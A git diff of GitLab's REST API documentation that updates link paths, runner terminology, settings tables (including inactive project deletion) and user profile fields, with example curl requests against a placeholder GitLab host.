GitLab 16.0 | | `paused` | boolean | no | Whether to include only runners that are accepting or ignoring new jobs | @@ -514,7 +522,7 @@ Example response: ## Enable a runner in project -Enable an available specific runner in the project. +Enable an available project runner in the project. ```plaintext POST /projects/:id/runners @@ -522,7 +530,7 @@ POST /projects/:id/runners | Attribute | Type | Required | Description | |-------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `runner_id` | integer | yes | The ID of a runner | ```shell @@ -548,7 +556,7 @@ Example response: ## Disable a runner from project -Disable a specific runner from the project. It works only if the project isn't +Disable a project runner from the project. It works only if the project isn't the only project associated with the specified runner. If so, an error is returned. Use the call to [delete a runner](#delete-a-runner) instead. @@ -558,7 +566,7 @@ DELETE /projects/:id/runners/:runner_id | Attribute | Type | Required | Description | |-------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `runner_id` | integer | yes | The ID of a runner | ```shell @@ -739,9 +747,10 @@ Validates authentication credentials for a registered runner. POST /runners/verify ``` -| Attribute | Type | Required | Description | -|-------------|---------|----------|-------------------------------------------------------------------------------| -| `token` | string | yes | The runner's [authentication token](#registration-and-authentication-tokens). | +| Attribute | Type | Required | Description | +|-------------|---------|----------|------------------------------------------------------------------------------------------------| +| `token` | string | yes | The runner's [authentication token](#registration-and-authentication-tokens). | +| `system_id` | string | no | The runner's system identifier. This attribute is required if the `token` starts with `glrt-`. | ```shell curl --request POST "https://gitlab.example.com/api/v4/runners/verify" \ @@ -755,13 +764,23 @@ Response: | 200 | Credentials are valid | | 403 | Credentials are invalid | +Example response: + +```json +{ + "id": 12345, + "token": "glrt-6337ff461c94fd3fa32ba3b1ff4125", + "token_expires_at": "2021-09-27T21:05:03.203Z" +} +``` + ## Reset instance's runner registration token > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30942) in GitLab 14.3. > - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104691) in GitLab 15.7. WARNING: -This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 16.0. This change is a breaking change. +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 17.0. This change is a breaking change. Reset the runner registration token for the GitLab instance. @@ -780,7 +799,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ > - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104691) in GitLab 15.7. WARNING: -This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 16.0. This change is a breaking change. +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 17.0. This change is a breaking change. Reset the runner registration token for a project. @@ -799,7 +818,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ > - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104691) in GitLab 15.7. WARNING: -This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 16.0. This change is a breaking change. +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383341) in GitLab 15.7 and is planned for removal in 17.0. This change is a breaking change. Reset the runner registration token for a group. diff --git a/doc/api/saml.md b/doc/api/saml.md index 4b0e57111cc..6b2e7cffaab 100644 --- a/doc/api/saml.md +++ b/doc/api/saml.md @@ -24,7 +24,7 @@ Supported attributes: |:------------------|:--------|:---------|:----------------------| | `id` | integer | Yes | Group ID for the group to return SAML identities. | -If successful, returns [`200`](index.md#status-codes) and the following +If successful, returns [`200`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | diff --git a/doc/api/scim.md b/doc/api/scim.md index 46896d7a4c8..6e022afb2f5 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98354) in GitLab 15.5. -GitLab provides an SCIM API that both implements [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) +GitLab provides an SCIM API that both implements [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644) and provides the `/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_path/Users/`. To use this API, [Group SSO](../user/group/saml_sso/index.md) must be enabled for the group. @@ -30,13 +30,14 @@ Supported attributes: |:------------------|:--------|:---------|:----------------------| | `id` | integer | Yes | Return SCIM identities for the given group ID. | -If successful, returns [`200`](index.md#status-codes) and the following +If successful, returns [`200`](rest/index.md#status-codes) and the following response attributes: -| Attribute | Type | Description | -| ------------ | ------ | ------------------------- | -| `extern_uid` | string | External UID for the user | -| `user_id` | string | ID for the user | +| Attribute | Type | Description | +| ------------ | ------- | ------------------------- | +| `extern_uid` | string | External UID for the user | +| `user_id` | integer | ID for the user | +| `active` | boolean | Status of the identity | Example response: @@ -44,7 +45,8 @@ Example response: [ { "extern_uid": "4", - "user_id": 48 + "user_id": 48, + "active": true } ] ``` @@ -67,7 +69,7 @@ Fields that can be updated are: | `id/externalId` | `extern_uid` | ```plaintext -PATCH groups/:groups_id/scim/:uid +PATCH /groups/:groups_id/scim/:uid ``` Parameters: diff --git a/doc/api/search.md b/doc/api/search.md index f4540e899f0..3c3ad3f6ab9 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -445,7 +445,7 @@ GET /groups/:id/search | Attribute | Type | Required | Description | | --------- | ---- | -------- | -------------| -| `id` | integer or string | Yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | Yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `scope` | string | Yes | The scope to search in. Values include `issues`, `merge_requests`, `milestones`, `projects`, `users`. [Additional scopes](#additional-scopes): `blobs`, `commits`, `notes`, `wiki_blobs`. | | `search` | string | Yes | The search query. | | `confidential` | boolean | No | Filter by confidentiality. Supports only `issues` scope; other scopes are ignored. | @@ -834,7 +834,7 @@ GET /projects/:id/search | Attribute | Type | Required | Description | | --------- | ---- | -------- | ------------| -| `id` | integer or string | Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `scope` | string | Yes | The scope to search in. Values include `blobs`, `commits`, `issues`, `merge_requests`, `milestones`, `notes`, `users`, and `wiki_blobs`. | | `search` | string | Yes | The search query. | | `confidential` | boolean | No | Filter by confidentiality. Supports `issues` scope; other scopes are ignored. | diff --git a/doc/api/secure_files.md b/doc/api/secure_files.md index a47c9654557..11c718dde01 100644 --- a/doc/api/secure_files.md +++ b/doc/api/secure_files.md @@ -24,7 +24,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | Example request: @@ -85,7 +85,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `id` | integer | **{check-circle}** Yes | The `id` of a secure file. | Example request: @@ -120,7 +120,7 @@ Supported attributes: | Attribute | Type | Required | Description | |-----------------|----------------|------------------------|-------------| -| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `name` | string | **{check-circle}** Yes | The `name` of the file being uploaded. The filename must be unique within the project. | | `file` | file | **{check-circle}** Yes | The `file` being uploaded (5 MB limit). | @@ -157,7 +157,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `id` | integer | **{check-circle}** Yes | The `id` of a secure file. | Example request: @@ -178,7 +178,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `project_id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `id` | integer | **{check-circle}** Yes | The `id` of a secure file. | Example request: diff --git a/doc/api/settings.md b/doc/api/settings.md index 1fa491ef41c..94ed2b2e3db 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -282,7 +282,7 @@ listed in the descriptions of the relevant settings. | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | | `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. | -| `bulk_import_enabled` | boolean | no | Enable migrating GitLab groups by direct transfer. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. Requires [`bulk_import_projects` feature flag](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) to also migrate projects. | +| `bulk_import_enabled` | boolean | no | Enable migrating GitLab groups by direct transfer. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. Requires [`bulk_import_projects` feature flag](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) to also migrate projects. Setting also [available](../user/admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer) in the Admin Area. | | `can_create_group` | boolean | no | Indicates whether users can create top-level groups. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367754) in GitLab 15.5. Defaults to `true`. | | `check_namespace_plan` **(PREMIUM)** | boolean | no | Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | @@ -307,7 +307,6 @@ listed in the descriptions of the relevant settings. | `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `delayed_project_deletion` **(PREMIUM SELF)** | boolean | no | Enable delayed project deletion by default in new groups. Default is `false`. [From GitLab 15.1](https://gitlab.com/gitlab-org/gitlab/-/issues/352960), can only be enabled when `delayed_group_deletion` is true. | | `delayed_group_deletion` **(PREMIUM SELF)** | boolean | no | Enable delayed group deletion. Default is `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352959) in GitLab 15.0. [From GitLab 15.1](https://gitlab.com/gitlab-org/gitlab/-/issues/352960), disables and locks the group-level setting for delayed protect deletion when set to `false`. | -| `delete_inactive_projects` | boolean | no | Enable inactive project deletion feature. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational without feature flag](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96803) in GitLab 15.4. | | `deletion_adjourned_period` **(PREMIUM SELF)** | integer | no | The number of days to wait before deleting a project or group that is marked for deletion. Value must be between `1` and `90`. Defaults to `7`. [From GitLab 15.1](https://gitlab.com/gitlab-org/gitlab/-/issues/352960), a hook on `deletion_adjourned_period` sets the period to `1` on every update, and sets both `delayed_project_deletion` and `delayed_group_deletion` to `false` if the period is `0`. | | `diff_max_patch_bytes` | integer | no | Maximum [diff patch size](../user/admin_area/diff_limits.md), in bytes. | | `diff_max_files` | integer | no | Maximum [files in a diff](../user/admin_area/diff_limits.md). | @@ -389,9 +388,6 @@ listed in the descriptions of the relevant settings. | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | | `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. | -| `inactive_projects_delete_after_months` | integer | no | If `delete_inactive_projects` is `true`, the time (in months) to wait before deleting inactive projects. Default is `2`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | -| `inactive_projects_min_size_mb` | integer | no | If `delete_inactive_projects` is `true`, the minimum repository size for projects to be checked for inactivity. Default is `0`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | -| `inactive_projects_send_warning_email_after_months` | integer | no | If `delete_inactive_projects` is `true`, sets the time (in months) to wait before emailing maintainers that the project is scheduled be deleted because it is inactive. Default is `1`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | | `invisible_captcha_enabled` | boolean | no | Enable Invisible CAPTCHA spam detection during sign-up. Disabled by default. | | `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.| | `keep_latest_artifact` | boolean | no | Prevent the deletion of the artifacts from the most recent successful jobs, regardless of the expiry time. Enabled by default. | @@ -412,6 +408,7 @@ listed in the descriptions of the relevant settings. | `max_number_of_repository_downloads` **(ULTIMATE SELF)** | integer | no | Maximum number of unique repositories a user can download in the specified time period before they are banned. Default: 0, Maximum: 10,000 repositories. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87980) in GitLab 15.1. | | `max_number_of_repository_downloads_within_time_period` **(ULTIMATE SELF)** | integer | no | Reporting time period (in seconds). Default: 0, Maximum: 864000 seconds (10 days). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87980) in GitLab 15.1. | | `git_rate_limit_users_allowlist` **(ULTIMATE SELF)** | array of strings | no | List of usernames excluded from Git anti-abuse rate limits. Default: `[]`, Maximum: 100 usernames. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/90815) in GitLab 15.2. | +| `git_rate_limit_users_alertlist` **(ULTIMATE SELF)** | array of integers | no | List of user IDs that are emailed when the Git abuse rate limit is exceeded. Default: `[]`, Maximum: 100 user IDs. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110201) in GitLab 15.9. | | `auto_ban_user_on_excessive_projects_download` **(ULTIMATE SELF)** | boolean | no | When enabled, users will get automatically banned from the application when they download more than the maximum number of unique projects in the time period specified by `max_number_of_repository_downloads` and `max_number_of_repository_downloads_within_time_period` respectively. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/94153) in GitLab 15.4 | | `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Administrators can configure repository mirroring. | | `mirror_capacity_threshold` **(PREMIUM)** | integer | no | Minimum capacity to be available before scheduling more mirrors preemptively. | @@ -522,10 +519,20 @@ listed in the descriptions of the relevant settings. | `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the `You won't be able to pull or push project code via SSH` warning shown to users with no uploaded SSH key. | | `version_check_enabled` | boolean | no | Let GitLab inform you when an update is available. | | `whats_new_variant` | string | no | What's new variant, possible values: `all_tiers`, `current_tier`, and `disabled`. | -| `web_ide_clientside_preview_enabled` | boolean | no | Live Preview (allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview). | | `wiki_page_max_content_bytes` | integer | no | Maximum wiki page content size in **bytes**. Default: 52428800 Bytes (50 MB). The minimum value is 1024 bytes. | -| `jira_connect_application_key` | String | no | Application ID of the OAuth application that should be used to authenticate with the GitLab.com for Jira Cloud app | -| `jira_connect_proxy_url` | String | no | URL of the GitLab instance that should be used as a proxy for the GitLab.com for Jira Cloud app | +| `jira_connect_application_key` | String | no | Application ID of the OAuth application that should be used to authenticate with the GitLab for Jira Cloud app | +| `jira_connect_proxy_url` | String | no | URL of the GitLab instance that should be used as a proxy for the GitLab for Jira Cloud app | + +### Configure inactive project deletion + +You can configure inactive projects deletion or turn it off. + +| Attribute | Type | Required | Description | +|------------------------------------------|------------------|:------------------------------------:|-------------| +| `delete_inactive_projects` | boolean | no | Enable [inactive project deletion](../administration/inactive_project_deletion.md). Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational without feature flag](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96803) in GitLab 15.4. | +| `inactive_projects_delete_after_months` | integer | no | If `delete_inactive_projects` is `true`, the time (in months) to wait before deleting inactive projects. Default is `2`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | +| `inactive_projects_min_size_mb` | integer | no | If `delete_inactive_projects` is `true`, the minimum repository size for projects to be checked for inactivity. Default is `0`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | +| `inactive_projects_send_warning_email_after_months` | integer | no | If `delete_inactive_projects` is `true`, sets the time (in months) to wait before emailing maintainers that the project is scheduled be deleted because it is inactive. Default is `1`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84519) in GitLab 14.10. [Became operational](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. | ## Housekeeping fields diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index 90cbe19112c..37bbe6bbf49 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -28,7 +28,7 @@ To ensure data integrity, snippets are put in a temporary read-only state for th duration of the move. During this time, users receive a `The repository is temporarily read-only. Please try again later.` message if they try to push new commits. -This API requires you to [authenticate yourself](index.md#authentication) as an administrator. +This API requires you to [authenticate yourself](rest/index.md#authentication) as an administrator. For other repository types see: @@ -42,7 +42,7 @@ GET /snippet_repository_storage_moves ``` By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Example request: @@ -84,7 +84,7 @@ GET /snippets/:snippet_id/repository_storage_moves ``` By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Supported attributes: diff --git a/doc/api/tags.md b/doc/api/tags.md index 099448d5609..3f15cdd02f4 100644 --- a/doc/api/tags.md +++ b/doc/api/tags.md @@ -21,7 +21,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string| yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string| yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `order_by` | string | no | Return tags ordered by `name`, `updated`, or `version`. Default is `updated`. | | `sort` | string | no | Return tags sorted in `asc` or `desc` order. Default is `desc`. | | `search` | string | no | Return list of tags matching the search criteria. You can use `^term` and `term$` to find tags that begin and end with `term` respectively. No other regular expressions are supported. | @@ -70,7 +70,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `tag_name` | string | yes | The name of the tag | ```shell @@ -117,7 +117,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `tag_name` | string | yes | The name of a tag | | `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name | | `message` | string | no | Creates annotated tag | @@ -174,7 +174,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `tag_name` | string | yes | The name of a tag | ## Get X.509 signature of a tag @@ -192,7 +192,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `tag_name` | string | yes | The name of a tag. | ```shell diff --git a/doc/api/users.md b/doc/api/users.md index a577dc26043..4ecb3d48c0f 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -142,6 +142,7 @@ GET /users "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "", @@ -183,6 +184,7 @@ GET /users "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "", @@ -319,6 +321,7 @@ Parameters: "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "Operations Specialist", @@ -365,6 +368,7 @@ Example Responses: "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "Operations Specialist", @@ -508,6 +512,7 @@ Parameters: | `skype` | No | Skype ID | | `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | +| `discord` | No | Discord account | | `username` | Yes | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | | `website_url` | No | Website URL | @@ -558,6 +563,7 @@ Parameters: | `skype` | No | Skype ID | | `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | +| `discord` | No | Discord account | | `username` | No | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | | `website_url` | No | Website URL | @@ -626,6 +632,7 @@ GET /user "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "", @@ -690,6 +697,7 @@ Parameters: "skype": "", "linkedin": "", "twitter": "", + "discord": "", "website_url": "", "organization": "", "job_title": "", @@ -946,7 +954,7 @@ Example response: ## User counts -Get the counts (same as in top right menu) of the authenticated user. +Get the counts (same as in the upper-right menu) of the authenticated user. | Attribute | Type | Description | | --------------------------------- | ------ | ---------------------------------------------------------------------------- | diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md index 4b9a7d4f88a..f966af82b10 100644 --- a/doc/api/visual_review_discussions.md +++ b/doc/api/visual_review_discussions.md @@ -25,7 +25,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `body` | string | yes | The content of the thread | | `position` | hash | no | Position when creating a diff note | diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md index 6ee2bbf9811..6f790227dea 100644 --- a/doc/api/vulnerabilities.md +++ b/doc/api/vulnerabilities.md @@ -21,7 +21,7 @@ across GitLab releases. Please use the [GraphQL API](graphql/reference/index.md#queryvulnerabilities) instead. See the [GraphQL examples](#replace-vulnerability-rest-api-with-graphql) to get started. -Every API call to vulnerabilities must be [authenticated](index.md#authentication). +Every API call to vulnerabilities must be [authenticated](rest/index.md#authentication). If an authenticated user does not have permission to [view vulnerabilities](../user/permissions.md#project-members-permissions), diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index 94f373c1c0a..e1473ba68b6 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -13,7 +13,7 @@ This API is in an [Alpha](../policy/alpha-beta-support.md#alpha-features) stage The response payload may be subject to change or breakage across GitLab releases. -Every API call to vulnerability exports must be [authenticated](index.md#authentication). +Every API call to vulnerability exports must be [authenticated](rest/index.md#authentication). ## Create a project-level vulnerability export @@ -31,7 +31,7 @@ POST /security/projects/:id/vulnerability_exports | Attribute | Type | Required | Description | | ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project which the authenticated user is a member of | +| `id` | integer or string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project which the authenticated user is a member of | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/projects/1/vulnerability_exports" @@ -74,7 +74,7 @@ POST /security/groups/:id/vulnerability_exports | Attribute | Type | Required | Description | | ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the group which the authenticated user is a member of | +| `id` | integer or string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the group which the authenticated user is a member of | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports" diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md index 89acbdee98a..8cc4ed31425 100644 --- a/doc/api/vulnerability_findings.md +++ b/doc/api/vulnerability_findings.md @@ -14,7 +14,7 @@ for serving [Vulnerability objects](https://gitlab.com/gitlab-org/gitlab/-/issue To fix any broken integrations with the former Vulnerabilities API, change the `vulnerabilities` URL part to be `vulnerability_findings`. -Every API call to vulnerability findings must be [authenticated](index.md#authentication). +Every API call to vulnerability findings must be [authenticated](rest/index.md#authentication). If a user does not have permission to [use the Project Security Dashboard](../user/permissions.md#project-members-permissions), @@ -32,7 +32,7 @@ instead. See the [GraphQL examples](#replace-vulnerability-findings-rest-api-wit By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## List project vulnerability findings @@ -55,7 +55,7 @@ Beginning with GitLab 12.9, the `undefined` severity and confidence level is no | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) which the authenticated user is a member of. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) which the authenticated user is a member of. | | `report_type` | string array | no | Returns vulnerability findings belonging to specified report type. Valid values: `sast`, `dast`, `dependency_scanning`, or `container_scanning`. Defaults to all. | | `scope` | string | no | Returns vulnerability findings for the given scope: `all` or `dismissed`. Defaults to `dismissed`. | | `severity` | string array | no | Returns vulnerability findings belonging to specified severity level: `info`, `unknown`, `low`, `medium`, `high`, or `critical`. Defaults to all. | diff --git a/doc/api/wikis.md b/doc/api/wikis.md index b092338aaa5..046901af56b 100644 --- a/doc/api/wikis.md +++ b/doc/api/wikis.md @@ -23,7 +23,7 @@ GET /projects/:id/wikis | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `with_content` | boolean | no | Include pages' content | ```shell @@ -67,7 +67,7 @@ GET /projects/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `slug` | string | yes | URL encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | | `render_html` | boolean | no | Return the rendered HTML of the wiki page | | `version` | string | no | Wiki page version SHA | @@ -98,7 +98,7 @@ POST /projects/:id/wikis | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | 